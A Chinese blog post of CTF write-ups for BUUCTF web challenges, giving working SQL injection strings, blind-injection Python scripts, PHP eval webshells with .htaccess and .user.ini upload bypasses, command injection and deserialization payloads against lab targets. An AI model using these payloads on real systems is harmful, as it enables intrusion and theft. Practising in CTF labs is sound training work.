靶场 | 63 分钟
BUUCTF Web 刷题记录
十一月 5, 2025
WEB

重温一下,联系赵总清除以往解题记录即可。

默认排序是解题数从高到低

buu多是比赛题,像xctf、ctfshow、nssctf、helloctf里面那种新手入门题不多

刷完后,就把之前的博文删了,没什么意义了

[极客大挑战 2019]EasySQL

万能密码:2' or 1=1 #

[极客大挑战 2019]Havefun

F12,?cat=dog

[ACTF2020 新生赛]Include

文件包含,并非由于flag.php被渲染,所以需要伪协议编码后输出

?file=php://filter/convert.base64-encode/resource=flag.php

[HCTF 2018]WarmUp

代码审计,我看别的wp要把问号URL二次编码,但我试了一下貌似不需要

/?file=source.php?../../../../../ffffllllaaaagggg

因为checkFile只检查有没有白名单,并不影响if语句里的include $_REQUEST['file'];

[ACTF2020 新生赛]Exec

命令注入

post:target=127.0.0.1;cat /flag

具体我在 yakit 命令注入篇有写的

[GXYCTF2019]Ping Ping Ping

命令执行过滤了空格、若干符号、flag等等,绕过方法在网上搜

1?ip=id;cat$IFS$9`ls`

然后在网页源代码里找到flag

[SUCTF 2019]EasySQL

需要猜测后端代码

fuzz一下,只有1能出数据,这里猜测限定了表,那就试试查全部

*,1

[极客大挑战 2019]LoveSQL

建议放到Yakit里面做,它可以加url编码标签,直接修改payload,发包时自动编码

虽然做出来了,但是我仍然不喜欢SQLi题目

sql
1/check.php?username={{urlenc(1' union select database(),version(),(select group_concat(password) from geek.l0ve1ysq1 where username='flag')#)}}&password=1

[极客大挑战 2019]Secret File

考点跟前面一题一样,过滤然后包含,伪协议,base64编码就行,不编码就会被当php文件解析,然后看不到flag

1/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

[强网杯 2019]随便注

做过,又不会了

这题出的很不错

字符型注入,单引号闭合

过滤语句:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

报错注入吧,updatexml不能用了,用extractvalue

11' and (extractvalue(1,concat(0x7e,version(),0x7e)));#

查表用的语句都被过滤了,这里需要堆叠注入,就是多个命令一起执行,分号隔开

查表

1-1';show tables#

查字段

mysql
1-1';desc `1919810931114514`#
23-1';show columns from `1919810931114514`#
4# 注意,以上表名要加反引号

回显有flag字段

目标是执行:select flag from `1919810931114514`

有两种解法

预编译和修改表名列名

预编译:

预编译相关语法如下:

text
1set用于设置变量名和值
2prepare用于预备一个语句,并赋予名称,以后可以引用该语句
3execute执行语句
4deallocate prepare用来释放掉预处理的语句

payload:

mysql
1-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
2
3拆分开来如下
4-1';
5set @sql = CONCAT('se','lect * from `1919810931114514`;');
6prepare stmt from @sql;
7EXECUTE stmt;
8#

回显:strstr($inject, "set") && strstr($inject, "prepare")

strstr与stristr不同,前者不区分大小写,所以这里使用大小写绕过

mysql
1-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prePare stmt from @sql;EXECUTE stmt;#

修改表名和列名:

之前的探测已经发现,输入1或2时,输出的就是words表的data列数据

所以把1919810931114514改成words,flag改成 id就可以了。

payload:

mysql
11'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
2
3拆分开来如下
41';
5alter table words rename to words1;
6alter table `1919810931114514` rename to words;
7alter table words change flag id varchar(50);
8#

然后搜索1或2就没数据了,因为没有这俩id,那就构造真,输出全部内容:1' or 1=1#即可。

[极客大挑战 2019]Http

网页源代码里找到Secret.php,然后就是http头的使用了

看到http还以为是请求走私

[极客大挑战 2019]Upload

题目就检查了尖括号问号、图片头、后缀

我的payload如下:

php+HTML
1Content-Disposition: form-data; name="file"; filename="1.phtml"
2Content-Type: image/jpeg
3
4GIF86a
5<script language="PHP">@eval($_POST["a"]);</script>

[极客大挑战 2019]Knife

蚁剑连首页

[ACTF2020 新生赛]Upload

与上面那个upload一样,上传phtml

1Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
2Content-Type: image/png
3
4<script language="PHP">@eval($_POST["a"]);</script>

[极客大挑战 2019]BabySQL

order by的时候,报错:

1You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der  4#'' at line 1

很明显过滤了关键字,这里双写绕过

密码写:2' oorrder bbyy 4#就行,只有三列

2' ununionion selselectect user(),version(),database()#,后两段可以回显

密码fuzz一下,回显Input your username and password的就是被过滤的关键字

1and、or、from、where、drop、select、if、union、insert、CHAR、ascii、greatest、substr、sleep、hex、bin、mid、#、*、&、>、<

我现在要执行:

mysql
12' union select user(),version(),(select group_concat(schema_name) from information_schema.schemata)#

逐个替换

语句如下:

mysql
12' uniunionon selselectect user(),version(),(selselectect group_concat(schema_name) frfromom infoorrmation_schema.schemata)#

然后就都很普通了

最终payload:

mysql
12' uniunionon selselectect user(),version(),(selselectect flag frfromom ctf.Flag)#

[极客大挑战 2019]PHP

备份文件www.zip打开是源码,代码审计反序列化

编辑器没全屏,居然没看到index.php下面的include,我还以为没有传参点,出题人太坏了,中间间隔那么大

反序列化参考我转载的文章就行

这题需要username=admin,password=100,但是wakeup会修改username,所以考察绕过wakeup

最简单的绕过就是在对象个数上加1,

这里有两个点需要注意:

  1. password的值是整数100,不是字符串100
  2. 私有属性序列化会在类名两侧添加空字节\0(即%00),但是终端打印时不显示,所以直接复制不行,需要手动添加上去。

最终payload:

php
1/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[ACTF2020 新生赛]BackupFile

buu没以前好用了,现在一扫就429

扫出index.php.bak

代码审计

php弱比较,1.php==1为true,与in_array类似

payload:/?key=123

[极客大挑战 2019]BuyFlag

源码在payflag.php网页源代码里,网页着重阐述了要成信的学生,可以看到有个cookie值,0改成1就行。

还是弱比较,然后金额用科学计数法

payload:password=404c&money=1e10

[RoarCTF 2019]Easy Calc

网页代码看到calc.php,进去看看是个后端代码

根据前面提示可知,给calc.php传参的话,中间有一层waf。

这个后端过滤的内容并不多,斜杠,各种符号之类。但是那个waf不让传字母。

两种解法:

1、PHP字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部$\_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

此题中,在num参数之前添加一个空格,WAF会因为这个空格导致检测不到num这个参数,而后端由于PHP的语言特性下会默认删除这个空格,最终导致WAF被绕过,num的参数被执行。

这里要用php的函数读目录和文件,由于后端过滤了斜杠,所以用ASCII绕过,用了ASCII,那么所有字母都要用ASCII,然后连接起来。

读目录:

bash
1? num=print_r(scandir(chr(47)));

读文件

bash
1? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

这里的print_r可以通var_dump代替。

2、HTTP请求走私

推荐阅读赵佬的初探HTTP Request Smuggling

这里不用前面加空格了,写两遍Content-Length就行

[HCTF 2018]admin

拿到admin密码或者欺骗服务器

看到Cookie,就尝试jwt解密,但是不行。

在修改密码的网页源代码里发现了链接:https://github.com/woadsl1234/hctf_flask/

艹,404

1、弱口令爆破

密码是123

2、伪造admin的flask session

源码里有key,用flask session的加密解密工具。解密cookie,再伪造admin的cookie即可

3、Unicode欺骗

nodeprep.prepare()会进行的转换:

1ᴬᴰᴹᴵᴺ -> ADMIN -> admin

Payload:可以注册ᴬᴰᴹᴵᴺ账户 => 登陆一次然后账户变成了ADMIN => 修改一次密码 => session中存入的name字段名字就变成了admin

4、条件竞争

不会

[BJDCTF2020]Easy MD5

响应头给了提示:hint: select * from 'admin' where password=md5($pass,true)

true代表,把那个哈希值转换成字符串

这里找到一个哈希值能凑成条件恒真就可以。

这里用ffifdyop,别问我怎么得到的,我也不知道,赛场上出这种题,谁能做出来啊

这个字符串,md5,true之后有个''or'6,刚好条件恒真。

下一个页面的源码在注释里

明显md5弱比较,md5无法处理数组,会返回null,两个null时全等的。

/levels91.php?a[]=a&b[]=b,这里用科学计数法也是可以的,

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

这里完全可以去寻找明文不同但MD5值为"0exxxxx"

这里提供两个QNKCDZO和s878926199a

故技重施:param1[]=1&param2[]=2

[MRCTF2020]你传你🐎呢

上传.htaccess文件后,上传一个一句话木马图片就行,注意.htaccess的语法。

我传的.htaccess

htaccess
1<FilesMatch "shell">
2Sethandler application/x-httpd-php
3</FilesMatch>

一句话木马文件名包含shell就行

[护网杯 2018]easy_tornado

提示了flag在/fllllllllllllag,模板注入,filehash的格式

只修改url里面的filename得到报错,url变成:/error?msg=Error

改成/error?msg={{7*7}},页面内容也变了,虽然不是49,这里就考察题目名所指的框架Tornado了,他的配置是handler.settings,URL写/error?msg={{handler.settings}}即可获得cookie_secret

然后拼接再编码就行了,

[MRCTF2020]Ez_bypass

Ctrl + U观感好点,又是差不多的考点

md5参数是数组结果为null,get传入俩数组就行,post写1234567a之类就行,因为转换成数字对比时,会截取字母之前的数字。

[ZJCTF 2019]NiZhuanSiWei

1if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这一句,不能直接在get里传字符串,因为file_get_contents是读取文件的,直接传导致他去读取一个叫做“welcome to the zjctf”的文件,但肯定没有这个文件的,所以用data伪协议,告诉PHP不要去读取文件,而是直接返回协议后面的数据内容。

然后提示了useless.php,后面还要反序列化,可这里没有类相关代码,那肯定在useless.php里面,毋庸置疑使用伪协议读取这个文件:

1/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

然后base64解码后,就能看到源代码

这里没什么考点了,直接生成序列化就行

最终payload:

1/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后看F12

[极客大挑战 2019]HardSQL

好讨厌SQL

过滤了

1ascii、substr、sleep、hex、benchmark、substring、mid、bin、!、*、|、=、>、*,1、<、空格

还是用上回的报错注入payload,但是要绕一下过滤,空格用括号代替,=用like代替

1/check.php?username=admin&password=123'or(updatexml(1%2Cconcat((select(concat('~'%2Cversion()%2C'~'%2Cdatabase()))))%2C1))%23

我这里hackbar没有yakit的自动url编码,所以就编码后执行的

查表名

1/check.php?username=1&password=123'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

其他就类似了,最终查flag:

1/check.php?username=1&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',password))from(H4rDsq1))),1))#

由于updatexml有长度限制,所以还需要查另一半,substr被过滤了,就使用right函数。right函数是从字符串最右边截取若干字符。

1/check.php?username=admin&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',right(password,20)))from(H4rDsq1))),1))#

拼成完整flag即可

[网鼎杯 2020 青龙组]AreUSerialz

很长的题目

简单注释了一下:

php
 1<?php
 2
 3include "flag.php";
 4
 5highlight_file(__FILE__);
 6
 7class FileHandler
 8{
 9    protected $op;
10    protected $filename;
11    protected $content;
12
13    // 构造函数初始化了参数,并且调用process函数
14    function __construct()
15    {
16        $op = "1";
17        $filename = "/tmp/tmpfile";
18        $content = "Hello World!";
19        $this->process();
20    }
21
22    // 若op==1则调用write,若==2则调用read
23    public function process()
24    {
25        if ($this->op == "1") {
26            $this->write();
27        } elseif ($this->op == "2") {
28            $res = $this->read();
29            $this->output($res);
30        } else {
31            $this->output("Bad Hacker!");
32        }
33    }
34
35    // content长度不能大于100,把content写入到filename文件
36    private function write()
37    {
38        if (isset($this->filename) && isset($this->content)) {
39            if (strlen((string) $this->content) > 100) {
40                $this->output("Too long!");
41                die();
42            }
43            $res = file_put_contents($this->filename, $this->content);
44            if ($res) {
45                $this->output("Successful!");
46            } else {
47                $this->output("Failed!");
48            }
49        } else {
50            $this->output("Failed!");
51        }
52    }
53
54    // 读取filename的内容
55    private function read()
56    {
57        $res = "";
58        if (isset($this->filename)) {
59            $res = file_get_contents($this->filename);
60        }
61        return $res;
62    }
63
64    // 输出传入的参数内容
65    private function output($s)
66    {
67        echo "[Result]: <br>";
68        echo $s;
69    }
70
71    // __destruct魔术方法,对op、content重新赋值并调用process
72    function __destruct()
73    {
74        if ($this->op === "2") {
75            $this->op = "1";
76        }
77        $this->content = "";
78        $this->process();
79    }
80}
81
82// 验证传入的字符串所有字符都是可打印字符(不包括~)
83function is_valid($s)
84{
85    for ($i = 0; $i < strlen($s); $i++) {
86        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {
87            return false;
88        }
89    }
90    return true;
91}
92
93//GET传入str,验证有效性后反序列化
94if (isset($_GET["str"])) {
95    $str = (string) $_GET["str"];
96    if (is_valid($str)) {
97        $obj = unserialize($str);
98    }
99}

有读有写,要么读文件,要么写木马。

误区:无论读写,难点都在于文件名被初始化,魔术方法把content清空。

这里的构造函数是$op="1",而不是$this->op="1",那它是此函数里的局部变量,而不是对象属性,所以这里的赋值与对象无关。process里的op等对象属性均为null

虽然说这里没有触发destruct的点,但是脚本执行完会执行析构函数,析构函数里面的process会再次执行,覆盖构造函数里process的输出。所以实际上我们还是触发destruct里的process。

destruct函数里是强比较,op必须等于字符串2,而process里是弱比较,op等于整型2或字符串2都可以。这里把op赋值为整型2,就能调用process里的read,而不会触发destruct的赋值。

对protected或private属性赋值,序列化串里会包含:%00*%00字符,%00字符的ASCII码为0,无法通过valid函数。所以不能被正确赋值。技巧:对于PHP版本7.1+,对属性的类型不敏感,把类属性改为public,生成的序列化字符串仍然能给另外两种修饰符的属性赋值。

exp:

php
 1<?php
 2
 3class FileHandler
 4{
 5    public $op = 2;
 6    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
 7    public $content;
 8}
 9
10$a = new FileHandler();
11echo serialize($a);

最终payload:

1O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

[GXYCTF2019]BabyUpload

不能上传php后缀,那就先上传.htaccess文件,提示类型不对, 修改 Conten-Type 为 image/jpeg 即可

然后上传一句话,把后缀改成 jpg ,它检测<?php,就改成之前那个 js 引用的格式:

php+HTML
1<script language="PHP">@eval($_POST["a"]);</script>

蚁剑直接连

[SUCTF 2019]CheckIn

文件后缀过滤,那就上传 jpg,然后通过解析漏洞完成上马

由于有exif_imagetype检测,所以需要添加文件头,图片马第一行写GIF89a?

注意 Conten-Type 为 image/jpeg

这里.htaccess不能用了,需要用到 .user.ini 解析漏洞,详情请见p神:user.ini文件构成的PHP后门

所以上传两个文件即可:

php+HTML
1GIF89a?
2<script language="php">eval($_POST["a"]);</script>

以及

ini
1GIF89a?
2auto_prepend_file=a.jpg

然后访问对应上传路径的 index.php 即可

[GXYCTF2019]BabySQli

返回包有一个编码,base32解码 → base64解码得到:select * from user where username = '$name'

fuzz发现过滤了:xor、information_schema、or、()、=

这是个登录口,但这个sql语句是查数据啊,难道本来就是查数据?我的思路是构造恒真查全部数据,或者堆叠。

但都不行,详情请见:https://blog.csdn.net/qq_45521281/article/details/107167452

那个提示的sql写法意思是查全部数据,然后比对密码,也就是说账号密码分开检验

那就可以用union select创造虚拟数据,然后输入密码时也就能查询到临时的虚拟数据。

最终登录payload:searc.php

1name=1' union select 1,'admin','c20ad4d76fe97759aa27a0c99bff6710'#&pw=12

[GYCTF2020]Blacklist

单引号闭合,两行数据

过滤:

1return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠查询:

1查库:
2/?inject=-1';show databases;#
3查表:
4/?inject=-1';show tables from supersqli;#

查数据用的select被过滤了,并且用 /**/ 也没绕过。这里用一个知识点:

HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

所以有两种写法,分别是读第一行和读每一行:

sql
1handler table_name open;handler table_name read first;handler table_name close;
2handler table_name open;handler table_name read next;handler table_name close;

最终payload:

1/?inject=-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

[RoarCTF 2019]Easy Java

第一页的最后一题居然是 Java

前面都是注入,这里有给了登陆框,但我怎么注都没有反应,算了。

网页源代码有个 help.docx ,但是点击发现没有此文件,他的路径是:/Download?filename=help.docx。猜测就是任意文件读取,但是文件都不存在。

这里开脑洞,把请求方法改成post,即可下载文件。

所以后面扫文件,就用post方法,用 java 语言的字典,快一些,如果熟悉 java 开发的话一定了解 WEB-INF/web.xml,然后下载此文件,就是项目配置文件

flag部分是:

xml
1    <servlet>
2        <servlet-name>FlagController</servlet-name>
3        <servlet-class>com.wm.ctf.FlagController</servlet-class>
4    </servlet>
5    <servlet-mapping>
6        <servlet-name>FlagController</servlet-name>
7        <url-pattern>/Flag</url-pattern>
8    </servlet-mapping>

<servlet-class> 标签中指定的 com.wm.ctf.FlagController 就是该 Servlet 对应的 Java 类的完全限定名(Fully Qualified Class Name)。

  • 该类的源文件(.java)位于项目的 com/wm/ctf/ 目录结构下,文件名为 FlagController.java
  • 编译后的字节码文件(.class)通常会位于 Web 应用的 WEB-INF/classes/com/wm/ctf/ 目录下,文件名为 FlagController.class

所以,根据这个配置,FlagController.class 文件在服务器上的路径通常是 WEB-INF/classes/com/wm/ctf/FlagController.class

那个<servlet-mapping>标签是设置网络路由,这里代表路径部分匹配 /Flag 时,Web 容器(如 Tomcat)就会找到名为 FlagController 的 Servlet(即 com.wm.ctf.FlagController 类),并由它来处理这个请求。

所以,这里我们下载class文件

payload:

http
1/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打开有个字符串,base64解码。

[CISCN2019 华北赛区 Day2 Web1]Hack World

过滤了空格,还有or之类

sqlmap命令:py sqlmap.py -r "C:\Users\Tajang\Desktop\req.txt" --batch --level 5 -p id

显示了时间盲注,但后面注不出来,不知道为什么。拿着它的payload可以用:ELT(4511=4511,SLEEP(5))

改造成:id=ELT((ascii(substr(database(),1,1))>1),SLEEP(5))

脚本:

python
 1import requests
 2import time
 3
 4url="http://3ad70672-fb32-404c-a33c-9cebd892d799.node5.buuoj.cn:81/index.php"
 5def timb():
 6    value=""
 7    for i in range(1,50):
 8        left=32
 9        right=127
10        mid=(right+right)//2
11        while left<right:
12            payload={
13                # 'id':'ELT((ascii(substr(database(),%d,1))>%d),SLEEP(3))' %(i,mid)
14                'id':'ELT((ascii(substr((select(flag)from(ctftraining.flag)),%d,1))>%d),SLEEP(3))' %(i,mid)
15            }
16            start_time=time.time()
17            res=requests.post(url,data=payload)
18            end_time=time.time()
19            sub_time=end_time-start_time
20            if sub_time>2.5:
21                left=mid+1
22            else :
23                right=mid
24            mid=(left+right)//2
25        value+=chr(mid)
26        print(value)
27
28
29if __name__ == "__main__":
30    timb()

库跑出来是ctftraining,遇到个很蠢的事情,我每次就跑一半出来,我用group_concat被过滤了。然后以为另一半在第二行,要用where id =2获取,谁知道是我的循环太少了,只获取到前20个,所以这里改成50。

本来不会的,没想到sqlmap给了思路,但是我忘了时间盲注如何判断时间,于是搜了一下

没想到绕过空格有那么多方法:%09 %0a %0b %0c %0d

[BSidesCF 2020]Had a bad day

还以为是sql注入,sqlmap居然提示我可能是FI,文件包含。。。

我在手动注入的时候,写了woofers',回显:

1Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
2
3Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

看到他居然include,并且自动补充了.php,这里能确定是文件包含了。

这里用伪协议,我居然忘了具体怎么写,而且写的很乱:

1php://filter/convert.base64-encode/resource=index

然后就加载了出来了,源码:

php
 1<?php
 2$file = $_GET['category'];
 3
 4if(isset($file))
 5{
 6    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
 7        include ($file . '.php');
 8    }
 9    else{
10        echo "Sorry, we currently only support woofers and meowers.";
11    }
12}
13?>

看到就是让我们加载index的。这里既要通过条件,又要加载flag.php可以用目录穿越的方式:

1category=woofers/../flag

但是没报错,也没动静,返回略微有差距,那就是因为php代码不显示。这里用到一个trick,php伪协议是可以包一层协议的,就算没有也没事。

1category=php://filter/convert.base64-encode/woofers/resource=flag

这样就出了,好笑的是category=woofers/../index可以无限循环包含,风扇转起来了 [网鼎杯 2020 朱雀组]phpweb


这里说什么date函数不行,根据提示换成date.timezone,但是又报错:

php
1:  call_user_func() expects parameter 1 to be a valid callback, function 'date.timezone' not found or invalid function name in <b>/var/www/html/index.php

所以能看出来前面是函数名,后面是参数,这里过滤太多函数,但是file_get_contents没有,所以直接读flag。,但是都不成功,这里读源码:

bash
1func=file_get_contents&p=index.php

这样看起来不好分辨,所以用伪协议:

bash
1func=file_get_contents&p=php://filter/convert.base64-encode/resource=index.php

我这里尝试过scandir、print_r、readfile、getenv都不好用,无法读目录,所以看看源码。

php
 1<?php
 2$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk",  "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
 3function gettime($func, $p)
 4{
 5    $result = call_user_func($func, $p);
 6    $a = gettype($result);
 7    if ($a == "string") {
 8        return $result;
 9    } else {
10        return "";
11    }
12}
13class Test
14{
15    var $p = "Y-m-d h:i:s a";
16    var $func = "date";
17    function __destruct()
18    {
19        if ($this->func != "") {
20            echo gettime($this->func, $this->p);
21        }
22    }
23}
24$func = $_REQUEST["func"];
25$p = $_REQUEST["p"];
26
27if ($func != null) {
28    $func = strtolower($func);
29    if (!in_array($func, $disable_fun)) {
30        echo gettime($func, $p);
31    } else {
32        die("Hacker...");
33    }
34}

这里不会了,看了wp才知道,居然传入unserialize函数,参数写序列化字符串。

因为这里的Test类就是给我们用的,从头到尾没有他的参与,那个p和func是有个表单偷偷在提交,并不是Test类里的。思路就是直接调用类里的魔术方法完成命令执行,就不经过if (!in_array($func,$disable_fun))

payload:

php
 1<?php
 2class Test
 3{
 4    var $p = "Y-m-d h:i:s a";
 5    var $func = "date";
 6    function __destruct()
 7    {
 8        if ($this->func != "") {
 9            echo gettime($this->func, $this->p);
10        }
11    }
12}
13
14$a=new Test();
15$a->func="system";
16$a->p="ls /";
17
18echo urlencode(serialize($a));

进去发现怎么找都没有flag,这里查找所有文件:

bash
1find / |grep flag
2或者用
3find / -name *flag*

找到了:/tmp/flagoefiu4r93

所以读取,最终payload:

bash
1func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

[网鼎杯 2018]Fakebook

注册完用户点进去,卡死了。。。重启靶机

重新注册再抓包,点进用户,路径是:/view.php?no=1,还是一直转圈。看了wp,再次重启,不注册用户,直接访问路径就行

然后sql注入,sqlmap注不出来,麻烦

判断列数、联合注入

sql
1?no=1 order by 4#
2?no=1 union/**/select 1,2,3,4#

这里union select被过滤了,而且只能通过内联注释绕过

第二位会在username那里有回显

sql
1# 爆库 fakebook
2?no=1 union/**/select 1,database(),3,4#
3# 爆表 users
4?no=1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
5# 爆字段 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
6?no=1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4#
7# 爆数据失败,好像全是空

这里看wp说,应该回显php序列化字符串,但我是空白,只能当它回显了

出现flag.php和robots.txt,robots提示了user.php.bak:

php
 1<?php
 2
 3
 4class UserInfo
 5{
 6    public $name = "";
 7    public $age = 0;
 8    public $blog = "";
 9
10    public function __construct($name, $age, $blog)
11    {
12        $this->name = $name;
13        $this->age = (int)$age;
14        $this->blog = $blog;
15    }
16
17    function get($url)
18    {
19        $ch = curl_init();
20
21        curl_setopt($ch, CURLOPT_URL, $url);
22        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
23        $output = curl_exec($ch);
24        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
25        if($httpCode == 404) {
26            return 404;
27        }
28        curl_close($ch);
29
30        return $output;
31    }
32
33    public function getBlogContents ()
34    {
35        return $this->get($this->blog);
36    }
37
38    public function isValidBlog ()
39    {
40        $blog = $this->blog;
41        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
42    }
43
44}

没咋看懂,但大致意思明白了,curl初始化,定义请求的url,有个执行命令curl_exec会执行$ch,而这个对象的url是传参进来的。往下看,就是getBlogContents调用了这个get,然后把blog传递了进来。

所以思路就是把blog设置为文件路径,让curl去请求。然后就return output了。

payload:

php
 1<?php
 2
 3
 4class UserInfo
 5{
 6    public $name = "";
 7    public $age = 0;
 8    public $blog = "file:///var/www/html/flag.php";
 9}
10$a=new UserInfo();
11echo urlencode(serialize($a));

因为之前反序列化字符串应该显示在blog那里,所以这里放在第四列,由于是查询字符串,所以用引号包裹住:

这里必须用单引号,一是因为序列化字符串内部双引号过多会乱掉,二是因为单引号才是标准字符串,双引号因为配置可能有不同含义。

sql
1?no=1 union/**/select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22age%22%3Bi%3A0%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'#

flag在源代码里,以base64图片格式显示,把字符串base64解码就行

这里还有个技巧:

查当前用户:?no=1 union/**/select 1,user(),3,4;#,回显root@localhost,权限很高,可以直接用load_file函数加载flag.php:

sql
1?no=1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4;#

源代码里就能直接看到flag,不用各种反序列化操作。注意,load_file参数必须是绝对路径


[WUSTCTF2020]颜值成绩查询

临时做一下,复习python盲注脚本。

输入1、2、3、4有返回,其他没有,以此构建语句,我之前写过,还骂人了。引用一下:

在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入1^表达式^1,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:

sql
11^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1

这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0

看着非常巧妙是不是?但我不用

为什么呢?为什么呢?为什么呢?

因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。

这句话明明可以精简,1^表达式^1表达式真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2),表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)

注意这题过滤了空格,括号绕过可以,省略符号绕过也可以

我不看自己wp,居然都忘了这题怎么做

这里就用(ascii(substr(database(),1,1))>10)这种格式做吧,比较是默认返回1或0的,如果题目是其他值,比如cc,那就可以用cc/**/and(ascii(substr(database(),1,1))>10) 这种。

然后就是二分法,之前那个太冗长了,这里缩成一个,用那个解注释就行

因为python是左闭右开区间,ASCII有效是32-126,这里写32-127

数据库长度用(length(database())>2)判断就行,长度为3

python
 1import requests
 2import time
 3suscess_message="your score is"
 4url="http://5cd7f71b-249d-4d53-8904-6058e4abf016.node5.buuoj.cn:81/?stunum="
 5def blindsql():
 6    value=""
 7    # 爆库:range(1,10),其他就range(1,50)吧,一般够长了
 8    for i in range(1,10):
 9        left=32
10        right=127
11        mid =(left+right)//2
12        while left < right:
13            payload=url+'(ascii(substr(database(),%d,1))>%d)' % (i,mid)
14            # 爆表名 payload = url+'(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))>%d)' % (i,mid)
15            # 爆字段名 payload = url + "(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),%d,1))>%d)" % (i,mid)
16            # 爆数据 payload = url + "(ascii(substr((select/**/value/**/from/**/ctf.flag),%d,1))>%d)" % (i,mid)
17            res=requests.get(payload)
18            if (suscess_message in res.text):
19                left=mid+1
20            else :
21                right=mid
22            mid =(left+right)//2
23            # time.sleep(0.2) 题目有速度限制,爆字段再开这个
24        value+=chr(mid)
25        print(value)
26
27if __name__=="__main__":
28    blindsql()